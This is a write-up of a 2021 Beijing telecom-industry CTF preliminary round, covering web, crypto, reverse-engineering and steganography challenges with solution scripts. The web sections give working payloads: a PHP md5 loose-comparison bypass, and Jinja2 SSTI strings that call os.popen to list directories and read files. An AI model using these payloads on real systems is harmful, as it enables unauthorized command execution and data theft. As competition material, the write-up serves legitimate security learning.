2021第三届北京通信行业CTF初赛writeup

整个CTF部分共计8道题，需要在3个小时内完成。

Web

web1

题目

<?php
if(!$_GET['source']){  
  highlight_file(__FILE__);
}
$a = $_GET['a'];
$b = $_GET['b'];
$c = $_GET['c'];
$check = $a and $b;
if($check){
  if($a and $b){
    die("No flag!Try it again!");
  }
  else{
    if($c == md5($c)){
      die(getenv("FLAG"));
    }
  }
}
else{
  die("Are You kidding?");
}

php代码审计，主要考察==条件下，如何使用科学计数法绕过$c == md5($c)。典型的例子有很多，甚至可以用脚本暴力枚举。

0e291242476940776845150308577824 == 0e215962017

payload：

?source=a&a=1&c=0e215962017

web2

题目给了一个输入框，根据提示python的SSTI问题。利用python内置函数leak导入的包，发现有导入os模块。然后通过调用os的读写函数查看目录，读flag。

列目录

{{config.__class__.__init__.__globals__['os'].popen('dir').read()}}

读flag

{{config.__class__.__init__.__globals__['os'].popen('cat flag').read()}}

web3

没做出来。nodejs题目，比赛结束后才知道题目直接有源码，当时这边一直刷不出来源码的压缩包。

Crypto

bbuh

给了一个文本文件，内容类似base编码，观察字符集或者暴力尝试。解密链base32 -> base64 -> url decode -> hex to ascii，果然如题目名称。解密脚本：

import base64
import binascii


a = 'JJKE252KKRRTISSUJUZEUVCNGJFFITJSJJKFS6SKKRGTESSUJV4EUVCNGJFFITJTJJKE2M2KKRMXSSSUJUZEUVCNGFFFITL2JJKE2M2KKRGXUSSUJV4EUVCNGJFFITL2JJKE26SKKRGXSSSUJV5EUVCNGNFFITJSJJKE26SKKRGXUSSUJV5EUVCNGJFFITJRJJKE2MSKKRGTCSSUJV5EUVCNPJFFITL2JJKE2MCKKRGTESSUJV5EUVCNPJFFITJTJJKE2MSKKRGTCSSUJV5EUVCNO5FFITL2JJKE2M2KKRGTESSUJV5EUVCNPJFFITLXJJKE26SKKRGTASSUJUZEUVCNGBFFITL2JJKE2NKKKRGXUSSUJUYUUVCNGJFFITL2JJKE2MSKKRGTASSUJV5EUVCNGVFFITL2JJKE2M2KKRGTESSUJUYEUVCNPJFFITJRJJKE26SKKRGTGSSUJV5EUVCNPBFFITJSJJKE2MCKKRGTGSSULEYA===='
b = base64.b32decode(a)
c = base64.b64decode(b.decode())
d = [chr(int(i, 16)) for i in c.split('%')[1:]]
e = ''.join(d)
f = e[2:]
print(binascii.a2b_hex(f))

rsa

rsa常见姿势，解密脚本：

import libnum
from Crypto.Util.number import long_to_bytes


e = 65537
c = 138722104762718976032857543651302886170525056001602716592141625658383767408264093262113709786172260615555996824567753811925695638669238386234708645111182134152464933217287541979019228159209984811628294038739751454086109950975209948197495743396777388273820349686335919516697411693046624095769703128469202211516688026123295211158531470647815841245920170011729185862667469966554776861242160654743541992847193786005787832285852281200524417632476356867636882769996990816521121318348035380840645933533359522382048945407964867136581334110211703327209265704187688598700074911726675767052882649582734149920164476354819772572
n = 15293032452367350153165488019040591774681947461806846211394110253205642263473409036704430501788674488200851282278984725917912759352314609076680106465146927987185897175378916654731151435950320195255522494291583988536029296991596619423707257925682257185042246028065776839633921182038513220548394723908052221984662464436997205150633282305927029392525099540708495780571249882489695973963632971183382777042356347551064066905696276285731788272303683511385482977782637450227421451201918293810767333044827440010656954584157537245294463744706911890881303916957823546888317663596809518986423759580164973515874335313890183844107
y = 247692304124525245667211985038807577149526498494620587227372131956797094691024123744042981854305983726197861602632106839535018310683933498643676609810589875918586417866386869064768090338701012890559718753173049383323496502184441436691424048763065870187602889642817121344647370355274568061468019226498216956532

phi = n - y + 1
d = libnum.invmod(e, phi)
m = pow(c, d, n)
print(long_to_bytes(m))

Reverse

re1

进入main，逻辑简单，异或算法，提取前面比较的字符串545E535549500702020B04030A1F515756011F065705061F500757071F030B050A0701020407570A054F

a = '545E535549500702020B04030A1F515756011F065705061F500757071F030B050A0701020407570A054F'
b = [chr(int(a[i:i+2], 16) ^ 0x32) for i in range(0, len(a), 2)]
print(''.join(b))

re2

有TLS反调试，ida可能会提示JUMPOUT，直接跳进去能分析（ghidra显示正常）。主要逻辑是异或计算，直接提取两个32长度的数据，计算出来结果比较诡异，偶数位上的数据不正常。回溯后发现在tls回调函数修改其中一组的数据，关注4015B0上下游函数逻辑，对应调整偶数位数据即可。

Misc

misc1

LSB隐写，不过色彩三通道排序不是RBG，而是BGR。运行隐写分析工具，java -jar .\stegsolve.jar 。在BGR排序的LSB下看到有PK头和flag.txt，疑似压缩包，使用save bin保存成flag.zip，解压即可。